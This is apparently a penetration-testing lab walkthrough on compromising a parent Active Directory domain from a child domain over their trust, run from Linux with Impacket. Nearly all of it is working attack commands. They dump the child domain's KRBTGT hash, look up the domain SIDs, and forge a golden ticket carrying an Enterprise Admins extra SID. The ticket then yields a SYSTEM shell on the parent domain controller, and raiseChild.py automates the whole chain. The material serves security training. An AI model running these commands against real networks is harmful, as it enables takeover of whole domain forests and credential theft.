# 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux

**I. Prerequisites**

To perform this attack, the following information is required:

* **KRBTGT hash** for the child domain.
* **SID** for the child domain.
* **Target user name** (can be non-existent).
* **FQDN** of the child domain.
* **SID of the Enterprise Admins group** of the root domain.

***

**II. Steps**

#### 1. Obtain KRBTGT hash

Use `secretsdump.py` from Impacket.

**Command:**

```bash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
```

#### 2. Obtain SID for child domain

Use `lookupsid.py` from Impacket.

**Commands:**

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
```

Filter to get only the Domain SID:

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
```

#### 3. Obtain SID for Enterprise Admins group

Use `lookupsid.py` targeting the parent domain's DC.

**Command:**

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
```

#### 4. Construct Golden Ticket

Use `ticketer.py` from Impacket.

**Command:**

```bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
```

#### 5. Set KRB5CCNAME environment variable

**Command:**

```bash
export KRB5CCNAME=hacker.ccache
```

#### 6. Gain SYSTEM shell on parent domain DC

Use `psexec.py` from Impacket.

**Command:**

```bash
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
```

#### 7. Automate with raiseChild.py

**Command:**

```bash
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
```

***

**III. Important Considerations**

* `raiseChild.py` automates the process, but understanding the manual steps is crucial for troubleshooting.
* Using "autopwn" scripts in client environments requires caution.
* A thorough understanding of the underlying tools is paramount.
* Impacket is a powerful suite of tools that should be used responsibly.
